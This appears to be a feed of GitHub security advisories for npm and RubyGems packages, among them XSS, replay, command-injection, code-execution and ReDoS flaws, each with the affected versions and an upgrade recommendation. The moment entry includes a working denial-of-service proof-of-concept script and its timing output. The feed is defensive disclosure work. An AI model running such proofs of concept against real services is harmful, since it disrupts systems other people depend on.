Most recent entries from github

GHSA-2fqv-h3r5-m4vf — Cross Site Scripting (XSS) in plotly.js

Tue, 24 Oct 2017 18:33:35 +0000

Affected: npm: plotly.js

Affected versions of `plotly.js` are vulnerable to cross-site scripting if an attacker can convince a user to visit a malicious plot on a site using this package.

## Recommendation

Update to 1.16.0 or later.

GHSA-3m6r-39p3-jq25 — Doorkeeper is vulnerable to replay attacks

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: doorkeeper

The Doorkeeper gem before 4.2.0 for Ruby might allow remote attackers to conduct replay attacks or revoke arbitrary tokens by leveraging failure to implement the OAuth 2.0 Token Revocation specification.

GHSA-4jm3-pfpf-h54p — espeak-ruby allows arbitrary command execution

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: espeak-ruby

The espeak-ruby gem before 1.0.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the `speak`, `save`, `bytes` or `bytes_wav` method in `lib/espeak/speech.rb`.

GHSA-543v-gj2c-r3ch — activemodel contains Improper Input Validation

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: activemodel

Active Model in Ruby on Rails 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 supports the use of instance-level writers for class accessors, which allows remote attackers to bypass intended validation steps via crafted parameters.

GHSA-5vx5-9q73-wgp4 — Safemode Gem Has Incomplete List of Disallowed Inputs

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: safemode

rubygem-safemode, as used in Foreman, versions 1.3.1 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.

GHSA-6h88-qjpv-p32m — OpenSSL gem for Ruby using inadequate encryption strength

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: openssl

The OpenSSL gem for Ruby uses the same initialization vector (IV) in GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for context-dependent attackers to bypass the encryption protection mechanism.

GHSA-78rc-8c29-p45g — actionpack allows remote code execution via application's unrestricted use of render method

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: actionpack

Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.

GHSA-87vv-r9j6-g5qv — Regular Expression Denial of Service in moment

Tue, 24 Oct 2017 18:33:35 +0000

Affected: npm: moment

Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.

## Proof of concept ``` var moment = require('moment');

var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str)

var end = process.hrtime(start); console.log(end); } ```

### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ```

## Recommendation

Please update to version 2.11.2 or later.

GHSA-c92m-rrrc-q5wf — safemode gem allows context-dependent attackers to obtain sensitive information via the inspect method

Tue, 24 Oct 2017 18:33:35 +0000

Affected: RubyGems: safemode

The Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method.

GHSA-f522-ffg8-j8r6 — Regular Expression Denial of Service in is-my-json-valid

Tue, 24 Oct 2017 18:33:35 +0000

Affected: npm: is-my-json-valid

Version of `is-my-json-valid` before 2.12.4 are vulnerable to regular expression denial of service (ReDoS) via the email validation function.

## Recommendation

Update to version 2.12.4 or later.